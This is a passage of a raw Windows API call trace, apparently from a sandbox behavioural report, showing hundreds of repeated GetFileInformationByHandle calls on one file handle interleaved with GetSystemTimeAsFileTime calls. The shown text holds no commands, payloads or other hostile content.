hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.042] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.042] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.042] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.042] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.042] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.042] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.042] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.043] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.043] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.043] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.043] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.043] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.043] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.043] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.043] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.043] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.043] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.043] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.043] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.044] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.044] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.044] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.044] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.044] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.044] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.044] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.044] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.044] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x186e28 | out: lpSystemTimeAsFileTime=0x186e28*(dwLowDateTime=0xc493fab0, dwHighDateTime=0x1d51ed4)) [0029.044] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.044] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.044] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.044] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.044] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.045] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.045] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.045] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.045] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.045] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.045] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.045] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.045] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.045] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.045] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.045] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.045] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.045] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.045] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.045] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.045] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.045] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.045] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.045] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.045] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.046] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.046] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.046] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.046] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.046] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.046] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.046] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.046] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.046] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.046] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.046] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.046] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.046] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.046] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.046] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.046] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.046] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.046] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.046] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.047] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.047] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.047] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.047] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.047] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.047] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.047] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.047] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.047] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.047] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.047] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.047] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.047] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.047] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.047] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.047] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.047] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.047] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.047] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.047] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.048] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.048] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.048] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.048] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.048] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.048] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.048] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.048] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.048] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.048] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.048] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.048] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.048] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.048] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.048] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.048] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.048] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.048] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.048] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.048] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.048] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.049] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.049] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.049] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.049] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.049] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.049] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.049] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.049] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.049] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.049] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.049] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.049] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.049] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.049] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.049] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.049] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.049] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.049] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.049] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.049] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: lpFileInformation=0x186ef0) returned 0 [0029.050] GetFileInformationByHandle (in: hFile=0x169d, lpFileInformation=0x186ef0 | out: 